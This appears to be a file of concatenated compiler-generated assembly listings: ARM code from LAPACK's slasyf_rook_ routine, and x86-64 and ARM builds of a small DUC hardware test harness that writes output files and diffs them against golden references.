add r1, r2, r3
ldr r2, [fp, #-124]
ldr r3, [fp, #-84]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r2, r2, r3
sub r0, fp, #128
ldr r3, [fp, #-196]
str r3, [sp]
mov r3, r2
ldr r2, [fp, #-196]
bl sswap_
ldr r2, [fp, #-128]
ldr r3, [fp, #-76]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r1, r2, r3
ldr r2, [fp, #-124]
ldr r3, [fp, #-76]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r2, r2, r3
sub r0, fp, #128
ldr r3, [fp, #-208]
str r3, [sp]
mov r3, r2
ldr r2, [fp, #-208]
bl sswap_
.L200:
ldr r3, [fp, #-112]
cmp r3, #1
bne .L201
ldr r3, [fp, #-180]
ldr r2, [r3]
ldr r3, [fp, #-144]
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-172]
ldr r3, [fp, #-144]
ldr r2, [fp, #-76]
mul r2, r3, r2
ldr r3, [fp, #-144]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r1, r2, r3
ldr r3, [fp, #-144]
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-144]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r3, r2, r3
sub r0, fp, #172
ldr r2, .L271
str r2, [sp]
ldr r2, .L271
bl scopy_
ldr r3, [fp, #-180]
ldr r2, [r3]
ldr r3, [fp, #-144]
cmp r2, r3
ble .L174
ldr r3, [fp, #-144]
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-144]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-60] @ float
mov r1, #0
ldr r0, [fp, #-60] @ float
bl __aeabi_fcmpge
mov r3, r0
cmp r3, #0
beq .L265
ldr r3, [fp, #-60] @ float
b .L204
.L265:
ldr r3, [fp, #-60]
eor r3, r3, #-2147483648
.L204:
ldr r1, [fp, #-64] @ float
mov r0, r3
bl __aeabi_fcmpge
mov r3, r0
cmp r3, #0
beq .L266
ldr r3, [fp, #-144]
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-144]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r3, r2, r3
ldr r3, [r3] @ float
mov r1, r3
mov r0, #1065353216
bl __aeabi_fdiv
mov r3, r0
str r3, [fp, #-136] @ float
ldr r3, [fp, #-180]
ldr r2, [r3]
ldr r3, [fp, #-144]
sub r3, r2, r3
str r3, [fp, #-172]
ldr r3, [fp, #-144]
add r2, r3, #1
ldr r3, [fp, #-144]
ldr r1, [fp, #-84]
mul r3, r1, r3
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r2, r2, r3
sub r1, fp, #136
sub r0, fp, #172
ldr r3, .L271
bl sscal_
b .L174
.L266:
ldr r3, [fp, #-144]
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-144]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r3, r2, r3
ldr r3, [r3] @ float
mov r1, #0
mov r0, r3
bl __aeabi_fcmpeq
mov r3, r0
cmp r3, #0
bne .L174
ldr r3, [fp, #-180]
ldr r3, [r3]
str r3, [fp, #-172]
ldr r3, [fp, #-144]
add r3, r3, #1
str r3, [fp, #-108]
b .L208
.L209:
ldr r3, [fp, #-144]
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-108]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r3, r2, r3
ldr r0, [r3] @ float
ldr r3, [fp, #-144]
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-144]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r3, r2, r3
ldr r1, [r3] @ float
ldr r3, [fp, #-144]
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-108]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r4, r2, r3
bl __aeabi_fdiv
mov r3, r0
str r3, [r4] @ float
ldr r3, [fp, #-108]
add r3, r3, #1
str r3, [fp, #-108]
.L208:
ldr r3, [fp, #-172]
ldr r2, [fp, #-108]
cmp r2, r3
ble .L209
b .L174
.L201:
ldr r3, [fp, #-180]
ldr r3, [r3]
sub r2, r3, #1
ldr r3, [fp, #-144]
cmp r2, r3
ble .L210
ldr r3, [fp, #-144]
add r2, r3, #1
ldr r3, [fp, #-144]
ldr r1, [fp, #-76]
mul r3, r1, r3
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-44] @ float
ldr r3, [fp, #-144]
add r2, r3, #1
ldr r3, [fp, #-144]
add r3, r3, #1
ldr r1, [fp, #-76]
mul r3, r1, r3
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r3, r2, r3
ldr r3, [r3] @ float
ldr r1, [fp, #-44] @ float
mov r0, r3
bl __aeabi_fdiv
mov r3, r0
str r3, [fp, #-40] @ float
ldr r3, [fp, #-144]
ldr r2, [fp, #-76]
mul r2, r3, r2
ldr r3, [fp, #-144]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r3, r2, r3
ldr r3, [r3] @ float
ldr r1, [fp, #-44] @ float
mov r0, r3
bl __aeabi_fdiv
mov r3, r0
str r3, [fp, #-36] @ float
ldr r1, [fp, #-36] @ float
ldr r0, [fp, #-40] @ float
bl __aeabi_fmul
mov r3, r0
mov r1, #1065353216
mov r0, r3
bl __aeabi_fsub
mov r3, r0
mov r1, r3
mov r0, #1065353216
bl __aeabi_fdiv
mov r3, r0
str r3, [fp, #-32] @ float
ldr r3, [fp, #-180]
ldr r3, [r3]
str r3, [fp, #-172]
ldr r3, [fp, #-144]
add r3, r3, #2
str r3, [fp, #-148]
b .L211
.L212:
ldr r3, [fp, #-144]
ldr r2, [fp, #-76]
mul r2, r3, r2
ldr r3, [fp, #-148]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r3, r2, r3
ldr r3, [r3] @ float
ldr r1, [fp, #-40] @ float
mov r0, r3
bl __aeabi_fmul
mov r3, r0
mov r0, r3
ldr r3, [fp, #-144]
add r3, r3, #1
ldr r2, [fp, #-76]
mul r2, r3, r2
ldr r3, [fp, #-148]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r3, r2, r3
ldr r3, [r3] @ float
mov r1, r3
bl __aeabi_fsub
mov r3, r0
ldr r1, [fp, #-44] @ float
mov r0, r3
bl __aeabi_fdiv
mov r3, r0
mov r0, r3
ldr r3, [fp, #-144]
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-148]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r4, r2, r3
ldr r1, [fp, #-32] @ float
bl __aeabi_fmul
mov r3, r0
str r3, [r4] @ float
ldr r3, [fp, #-144]
add r3, r3, #1
ldr r2, [fp, #-76]
mul r2, r3, r2
ldr r3, [fp, #-148]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r3, r2, r3
ldr r3, [r3] @ float
ldr r1, [fp, #-36] @ float
mov r0, r3
bl __aeabi_fmul
mov r3, r0
mov r0, r3
ldr r3, [fp, #-144]
ldr r2, [fp, #-76]
mul r2, r3, r2
ldr r3, [fp, #-148]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r3, r2, r3
ldr r3, [r3] @ float
mov r1, r3
bl __aeabi_fsub
mov r3, r0
ldr r1, [fp, #-44] @ float
mov r0, r3
bl __aeabi_fdiv
mov r3, r0
mov r0, r3
ldr r3, [fp, #-144]
add r3, r3, #1
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-148]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r4, r2, r3
ldr r1, [fp, #-32] @ float
bl __aeabi_fmul
mov r3, r0
str r3, [r4] @ float
ldr r3, [fp, #-148]
add r3, r3, #1
str r3, [fp, #-148]
.L211:
ldr r2, [fp, #-148]
ldr r3, [fp, #-172]
cmp r2, r3
ble .L212
.L210:
ldr r3, [fp, #-144]
ldr r2, [fp, #-76]
mul r2, r3, r2
ldr r3, [fp, #-144]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r2, r2, r3
ldr r3, [fp, #-144]
ldr r1, [fp, #-84]
mul r1, r3, r1
ldr r3, [fp, #-144]
add r3, r1, r3
lsl r3, r3, #2
ldr r1, [fp, #-192]
add r3, r1, r3
ldr r2, [r2] @ float
str r2, [r3] @ float
ldr r3, [fp, #-144]
add r2, r3, #1
ldr r3, [fp, #-144]
ldr r1, [fp, #-76]
mul r3, r1, r3
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r2, r2, r3
ldr r3, [fp, #-144]
add r1, r3, #1
ldr r3, [fp, #-144]
ldr r0, [fp, #-84]
mul r3, r0, r3
add r3, r1, r3
lsl r3, r3, #2
ldr r1, [fp, #-192]
add r3, r1, r3
ldr r2, [r2] @ float
str r2, [r3] @ float
ldr r3, [fp, #-144]
add r2, r3, #1
ldr r3, [fp, #-144]
add r3, r3, #1
ldr r1, [fp, #-76]
mul r3, r1, r3
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r2, r2, r3
ldr r3, [fp, #-144]
add r1, r3, #1
ldr r3, [fp, #-144]
add r3, r3, #1
ldr r0, [fp, #-84]
mul r3, r0, r3
add r3, r1, r3
lsl r3, r3, #2
ldr r1, [fp, #-192]
add r3, r1, r3
ldr r2, [r2] @ float
str r2, [r3] @ float
.L174:
ldr r3, [fp, #-112]
cmp r3, #1
bne .L213
ldr r3, [fp, #-144]
lsl r3, r3, #2
ldr r2, [fp, #-200]
add r3, r2, r3
ldr r2, [fp, #-124]
str r2, [r3]
b .L214
.L213:
ldr r2, [fp, #-140]
ldr r3, [fp, #-144]
lsl r3, r3, #2
ldr r1, [fp, #-200]
add r3, r1, r3
rsb r2, r2, #0
str r2, [r3]
ldr r2, [fp, #-124]
ldr r3, [fp, #-144]
add r3, r3, #1
lsl r3, r3, #2
ldr r1, [fp, #-200]
add r3, r1, r3
rsb r2, r2, #0
str r2, [r3]
.L214:
ldr r2, [fp, #-144]
ldr r3, [fp, #-112]
add r3, r2, r3
str r3, [fp, #-144]
b .L153
.L268:
nop
.L157:
ldr r3, [fp, #-180]
ldr r3, [r3]
str r3, [fp, #-172]
ldr r3, [fp, #-184]
ldr r3, [r3]
str r3, [fp, #-168]
ldr r3, [fp, #-144]
str r3, [fp, #-148]
b .L215
.L221:
ldr r3, [fp, #-184]
ldr r3, [r3]
str r3, [fp, #-164]
ldr r3, [fp, #-180]
ldr r2, [r3]
ldr r3, [fp, #-148]
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-160]
ldr r2, [fp, #-164]
ldr r3, [fp, #-160]
cmp r2, r3
movlt r3, r2
movge r3, r3
str r3, [fp, #-132]
ldr r2, [fp, #-148]
ldr r3, [fp, #-132]
add r3, r2, r3
sub r3, r3, #1
str r3, [fp, #-164]
ldr r3, [fp, #-148]
str r3, [fp, #-104]
b .L216
.L217:
ldr r2, [fp, #-148]
ldr r3, [fp, #-132]
add r2, r2, r3
ldr r3, [fp, #-104]
sub r3, r2, r3
str r3, [fp, #-160]
ldr r3, [fp, #-144]
sub r3, r3, #1
str r3, [fp, #-156]
ldr r2, [fp, #-104]
ldr r3, [fp, #-84]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r3, r2, r3
ldr r1, [fp, #-104]
ldr r2, [fp, #-76]
add r2, r1, r2
lsl r2, r2, #2
ldr r1, [fp, #-204]
add r2, r1, r2
ldr r1, [fp, #-104]
ldr r0, [fp, #-84]
mul r0, r1, r0
ldr r1, [fp, #-104]
add r1, r0, r1
lsl r1, r1, #2
ldr r0, [fp, #-192]
add r1, r0, r1
sub ip, fp, #156
sub r0, fp, #160
ldr lr, .L271
str lr, [sp, #24]
str r1, [sp, #20]
ldr r1, .L271+4
str r1, [sp, #16]
ldr r1, [fp, #-208]
str r1, [sp, #12]
str r2, [sp, #8]
ldr r2, [fp, #-196]
str r2, [sp, #4]
str r3, [sp]
ldr r3, .L271+8
mov r2, ip
mov r1, r0
ldr r0, .L271+12
bl sgemv_
ldr r3, [fp, #-104]
add r3, r3, #1
str r3, [fp, #-104]
.L216:
ldr r3, [fp, #-164]
ldr r2, [fp, #-104]
cmp r2, r3
ble .L217
ldr r2, [fp, #-148]
ldr r3, [fp, #-132]
add r2, r2, r3
ldr r3, [fp, #-180]
ldr r3, [r3]
cmp r2, r3
bgt .L218
ldr r3, [fp, #-180]
ldr r2, [r3]
ldr r3, [fp, #-148]
sub r2, r2, r3
ldr r3, [fp, #-132]
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-164]
ldr r3, [fp, #-144]
sub r3, r3, #1
str r3, [fp, #-160]
ldr r2, [fp, #-148]
ldr r3, [fp, #-132]
add r2, r2, r3
ldr r3, [fp, #-84]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r3, r2, r3
ldr r1, [fp, #-148]
ldr r2, [fp, #-76]
add r2, r1, r2
lsl r2, r2, #2
ldr r1, [fp, #-204]
add r2, r1, r2
ldr r0, [fp, #-148]
ldr r1, [fp, #-132]
add r0, r0, r1
ldr r1, [fp, #-148]
ldr ip, [fp, #-84]
mul r1, ip, r1
add r1, r0, r1
lsl r1, r1, #2
ldr r0, [fp, #-192]
add r1, r0, r1
sub lr, fp, #132
sub ip, fp, #164
ldr r0, [fp, #-196]
str r0, [sp, #32]
str r1, [sp, #28]
ldr r1, .L271+4
str r1, [sp, #24]
ldr r1, [fp, #-208]
str r1, [sp, #20]
str r2, [sp, #16]
ldr r2, [fp, #-196]
str r2, [sp, #12]
str r3, [sp, #8]
ldr r3, .L271+8
str r3, [sp, #4]
sub r3, fp, #160
str r3, [sp]
mov r3, lr
mov r2, ip
ldr r1, .L271+16
ldr r0, .L271+12
bl sgemm_
.L218:
ldr r2, [fp, #-148]
ldr r3, [fp, #-168]
add r3, r2, r3
str r3, [fp, #-148]
.L215:
ldr r3, [fp, #-168]
cmp r3, #0
bge .L219
ldr r2, [fp, #-148]
ldr r3, [fp, #-172]
cmp r2, r3
movge r3, #1
movlt r3, #0
and r3, r3, #255
b .L220
.L219:
ldr r2, [fp, #-148]
ldr r3, [fp, #-172]
cmp r2, r3
movle r3, #1
movgt r3, #0
and r3, r3, #255
.L220:
cmp r3, #0
bne .L221
ldr r3, [fp, #-144]
sub r3, r3, #1
str r3, [fp, #-148]
.L222:
mov r3, #1
str r3, [fp, #-112]
mov r3, #1
str r3, [fp, #-96]
ldr r3, [fp, #-148]
str r3, [fp, #-104]
ldr r3, [fp, #-148]
lsl r3, r3, #2
ldr r2, [fp, #-200]
add r3, r2, r3
ldr r3, [r3]
str r3, [fp, #-92]
ldr r3, [fp, #-92]
cmp r3, #0
bge .L223
ldr r3, [fp, #-92]
rsb r3, r3, #0
str r3, [fp, #-92]
ldr r3, [fp, #-148]
sub r3, r3, #1
str r3, [fp, #-148]
ldr r3, [fp, #-148]
lsl r3, r3, #2
ldr r2, [fp, #-200]
add r3, r2, r3
ldr r3, [r3]
rsb r3, r3, #0
str r3, [fp, #-96]
mov r3, #2
str r3, [fp, #-112]
.L223:
ldr r3, [fp, #-148]
sub r3, r3, #1
str r3, [fp, #-148]
ldr r2, [fp, #-92]
ldr r3, [fp, #-104]
cmp r2, r3
beq .L224
ldr r3, [fp, #-148]
cmp r3, #0
ble .L224
ldr r2, [fp, #-92]
ldr r3, [fp, #-84]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r1, r2, r3
ldr r2, [fp, #-104]
ldr r3, [fp, #-84]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r2, r2, r3
sub r0, fp, #148
ldr r3, [fp, #-196]
str r3, [sp]
mov r3, r2
ldr r2, [fp, #-196]
bl sswap_
.L224:
ldr r3, [fp, #-148]
add r3, r3, #1
str r3, [fp, #-104]
ldr r2, [fp, #-96]
ldr r3, [fp, #-104]
cmp r2, r3
beq .L225
ldr r3, [fp, #-112]
cmp r3, #2
bne .L225
ldr r2, [fp, #-96]
ldr r3, [fp, #-84]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r1, r2, r3
ldr r2, [fp, #-104]
ldr r3, [fp, #-84]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r2, r2, r3
sub r0, fp, #148
ldr r3, [fp, #-196]
str r3, [sp]
mov r3, r2
ldr r2, [fp, #-196]
bl sswap_
.L225:
ldr r3, [fp, #-148]
cmp r3, #0
ble .L226
b .L222
.L226:
ldr r3, [fp, #-144]
sub r2, r3, #1
ldr r3, [fp, #-188]
str r2, [r3]
.L152:
mov r3, #0
ldr r2, .L271+20
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L228
bl __stack_chk_fail
.L228:
mov r0, r3
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L272:
.align 2
.L271:
.word c__1
.word c_b10
.word c_b9
.word .LC4
.word .LC5
.word .LC6
.size slasyf_rook_, .-slasyf_rook_
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "8739.c"
.intel_syntax noprefix
.text
.globl getc
.type getc, @function
getc:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
mov rax, QWORD PTR -8[rbp]
mov eax, DWORD PTR 8[rax]
lea edx, -1[rax]
mov rax, QWORD PTR -8[rbp]
mov DWORD PTR 8[rax], edx
mov rax, QWORD PTR -8[rbp]
mov eax, DWORD PTR 8[rax]
test eax, eax
js .L2
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR [rax]
lea rcx, 1[rax]
mov rdx, QWORD PTR -8[rbp]
mov QWORD PTR [rdx], rcx
movzx eax, BYTE PTR [rax]
movzx eax, al
jmp .L4
.L2:
mov rax, QWORD PTR -8[rbp]
mov rdi, rax
call _filbuf@PLT
.L4:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size getc, .-getc
.globl putc
.type putc, @function
putc:
.LFB1:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov DWORD PTR -4[rbp], edi
mov QWORD PTR -16[rbp], rsi
mov rax, QWORD PTR -16[rbp]
mov eax, DWORD PTR 8[rax]
lea edx, -1[rax]
mov rax, QWORD PTR -16[rbp]
mov DWORD PTR 8[rax], edx
mov rax, QWORD PTR -16[rbp]
mov eax, DWORD PTR 8[rax]
test eax, eax
js .L6
mov rax, QWORD PTR -16[rbp]
mov rax, QWORD PTR [rax]
lea rcx, 1[rax]
mov rdx, QWORD PTR -16[rbp]
mov QWORD PTR [rdx], rcx
mov edx, DWORD PTR -4[rbp]
mov BYTE PTR [rax], dl
movzx eax, BYTE PTR [rax]
movzx eax, al
jmp .L8
.L6:
mov rdx, QWORD PTR -16[rbp]
mov eax, DWORD PTR -4[rbp]
mov rsi, rdx
mov edi, eax
call _flsbuf@PLT
.L8:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size putc, .-putc
.globl getchar
.type getchar, @function
getchar:
.LFB2:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov eax, DWORD PTR _iob[rip+8]
sub eax, 1
mov DWORD PTR _iob[rip+8], eax
mov eax, DWORD PTR _iob[rip+8]
test eax, eax
js .L10
mov rax, QWORD PTR _iob[rip]
lea rdx, 1[rax]
mov QWORD PTR _iob[rip], rdx
movzx eax, BYTE PTR [rax]
movzx eax, al
jmp .L12
.L10:
lea rdi, _iob[rip]
call _filbuf@PLT
.L12:
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE2:
.size getchar, .-getchar
.globl putchar
.type putchar, @function
putchar:
.LFB3:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov DWORD PTR -4[rbp], edi
mov eax, DWORD PTR _iob[rip+56]
sub eax, 1
mov DWORD PTR _iob[rip+56], eax
mov eax, DWORD PTR _iob[rip+56]
test eax, eax
js .L14
mov rax, QWORD PTR _iob[rip+48]
lea rdx, 1[rax]
mov QWORD PTR _iob[rip+48], rdx
mov edx, DWORD PTR -4[rbp]
mov BYTE PTR [rax], dl
movzx eax, BYTE PTR [rax]
movzx eax, al
jmp .L16
.L14:
mov eax, DWORD PTR -4[rbp]
lea rsi, _iob[rip+48]
mov edi, eax
call _flsbuf@PLT
.L16:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE3:
.size putchar, .-putchar
.globl fopen64
.type fopen64, @function
fopen64:
.LFB4:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
mov QWORD PTR -16[rbp], rsi
mov rdx, QWORD PTR -16[rbp]
mov rax, QWORD PTR -8[rbp]
mov rsi, rdx
mov rdi, rax
call fopen@PLT
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE4:
.size fopen64, .-fopen64
.globl ftello64
.type ftello64, @function
ftello64:
.LFB5:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rdx, -16[rbp]
mov rax, QWORD PTR -24[rbp]
mov rsi, rdx
mov rdi, rax
call fgetpos@PLT
test eax, eax
je .L20
mov rax, -1
jmp .L22
.L20:
mov rax, QWORD PTR -16[rbp]
.L22:
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L23
call __stack_chk_fail@PLT
.L23:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE5:
.size ftello64, .-ftello64
.section .rodata
.LC0:
.string "w"
.LC1:
.string "duc_i.dat"
.LC2:
.string "duc_q.dat"
.LC3:
.string "%i %d %d\n"
.align 8
.LC4:
.string "diff --brief -w duc_i.dat golden/duc_i.dat"
.align 8
.LC5:
.string "diff --brief -w duc_q.dat golden/duc_q.dat"
.align 8
.LC6:
.string "\n *** DUC hardware test FAILED ! *** \n"
.align 8
.LC7:
.string "\n *** DUC hardware test PASSED ! *** \n"
.text
.globl main
.type main, @function
main:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 336
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov DWORD PTR -320[rbp], 33
lea rsi, .LC0[rip]
lea rdi, .LC1[rip]
call fopen@PLT
mov QWORD PTR -296[rbp], rax
lea rsi, .LC0[rip]
lea rdi, .LC2[rip]
call fopen@PLT
mov QWORD PTR -288[rbp], rax
mov DWORD PTR -336[rbp], 0
mov DWORD PTR -316[rbp], 0
mov DWORD PTR -328[rbp], 0
jmp .L25
.L28:
cmp DWORD PTR -328[rbp], 47
jg .L26
lea rcx, -276[rbp]
lea rdx, -280[rbp]
mov eax, DWORD PTR -336[rbp]
mov esi, 6628
mov edi, eax
call duc@PLT
jmp .L27
.L26:
lea rcx, -276[rbp]
lea rdx, -280[rbp]
mov eax, DWORD PTR -316[rbp]
mov esi, 6628
mov edi, eax
call duc@PLT
.L27:
add DWORD PTR -328[rbp], 1
.L25:
cmp DWORD PTR -328[rbp], 95
jle .L28
mov DWORD PTR -332[rbp], 0
jmp .L29
.L40:
cmp DWORD PTR -332[rbp], 0
jne .L30
mov DWORD PTR -336[rbp], 131072
jmp .L31
.L30:
mov DWORD PTR -336[rbp], 0
.L31:
mov eax, DWORD PTR -336[rbp]
neg eax
mov DWORD PTR -316[rbp], eax
mov DWORD PTR -324[rbp], -1
mov DWORD PTR -328[rbp], 0
jmp .L32
.L37:
cmp DWORD PTR -328[rbp], 47
jle .L33
mov ecx, DWORD PTR -328[rbp]
movsx rax, ecx
imul rax, rax, 715827883
shr rax, 32
mov esi, ecx
sar esi, 31
mov edx, eax
sub edx, esi
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
sub ecx, eax
mov edx, ecx
cmp edx, 1
jg .L33
add DWORD PTR -324[rbp], 1
.L33:
cmp DWORD PTR -328[rbp], 47
jg .L34
lea rcx, -276[rbp]
lea rdx, -280[rbp]
mov eax, DWORD PTR -336[rbp]
mov esi, 6628
mov edi, eax
call duc@PLT
jmp .L35
.L34:
lea rcx, -276[rbp]
lea rdx, -280[rbp]
mov eax, DWORD PTR -316[rbp]
mov esi, 6628
mov edi, eax
call duc@PLT
.L35:
cmp DWORD PTR -328[rbp], 47
jle .L36
mov ecx, DWORD PTR -328[rbp]
movsx rax, ecx
imul rax, rax, 715827883
shr rax, 32
mov esi, ecx
sar esi, 31
mov edx, eax
sub edx, esi
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
sub ecx, eax
mov edx, ecx
cmp edx, 1
jg .L36
mov edx, DWORD PTR -280[rbp]
mov eax, DWORD PTR -324[rbp]
cdqe
mov DWORD PTR -272[rbp+rax*4], edx
mov edx, DWORD PTR -276[rbp]
mov eax, DWORD PTR -324[rbp]
cdqe
mov DWORD PTR -144[rbp+rax*4], edx
.L36:
add DWORD PTR -328[rbp], 1
.L32:
cmp DWORD PTR -328[rbp], 95
jle .L37
mov DWORD PTR -328[rbp], 0
jmp .L38
.L39:
mov eax, DWORD PTR -328[rbp]
cdqe
mov eax, DWORD PTR -272[rbp+rax*4]
mov DWORD PTR -304[rbp], eax
mov eax, DWORD PTR -336[rbp]
sar eax, 17
mov ecx, eax
mov esi, DWORD PTR -304[rbp]
mov edx, DWORD PTR -332[rbp]
mov rax, QWORD PTR -296[rbp]
mov r8d, esi
lea rsi, .LC3[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov eax, DWORD PTR -328[rbp]
cdqe
mov eax, DWORD PTR -144[rbp+rax*4]
mov DWORD PTR -300[rbp], eax
mov eax, DWORD PTR -316[rbp]
sar eax, 17
mov ecx, eax
mov esi, DWORD PTR -300[rbp]
mov edx, DWORD PTR -332[rbp]
mov rax, QWORD PTR -288[rbp]
mov r8d, esi
lea rsi, .LC3[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
add DWORD PTR -328[rbp], 1
.L38:
cmp DWORD PTR -328[rbp], 15
jle .L39
add DWORD PTR -332[rbp], 1
.L29:
mov eax, DWORD PTR -332[rbp]
cmp eax, DWORD PTR -320[rbp]
jle .L40
mov rax, QWORD PTR -296[rbp]
mov rdi, rax
call fclose@PLT
mov rax, QWORD PTR -288[rbp]
mov rdi, rax
call fclose@PLT
lea rdi, .LC4[rip]
call system@PLT
mov DWORD PTR -312[rbp], eax
lea rdi, .LC5[rip]
call system@PLT
mov DWORD PTR -308[rbp], eax
mov eax, DWORD PTR -312[rbp]
or eax, DWORD PTR -308[rbp]
test eax, eax
je .L41
lea rdi, .LC6[rip]
call puts@PLT
jmp .L42
.L41:
lea rdi, .LC7[rip]
call puts@PLT
.L42:
mov eax, DWORD PTR -312[rbp]
or eax, DWORD PTR -308[rbp]
test eax, eax
setne al
movzx eax, al
mov rdi, QWORD PTR -8[rbp]
sub rdi, QWORD PTR fs:40
je .L44
call __stack_chk_fail@PLT
.L44:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "8739.c"
.text
.align 2
.global getc
.syntax unified
.arm
.fpu softvfp
.type getc, %function
getc:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
ldr r3, [fp, #-8]
ldr r3, [r3, #4]
sub r2, r3, #1
ldr r3, [fp, #-8]
str r2, [r3, #4]
ldr r3, [fp, #-8]
ldr r3, [r3, #4]
cmp r3, #0
blt .L2
ldr r3, [fp, #-8]
ldr r3, [r3]
add r1, r3, #1
ldr r2, [fp, #-8]
str r1, [r2]
ldrb r3, [r3] @ zero_extendqisi2
b .L4
.L2:
ldr r0, [fp, #-8]
bl _filbuf
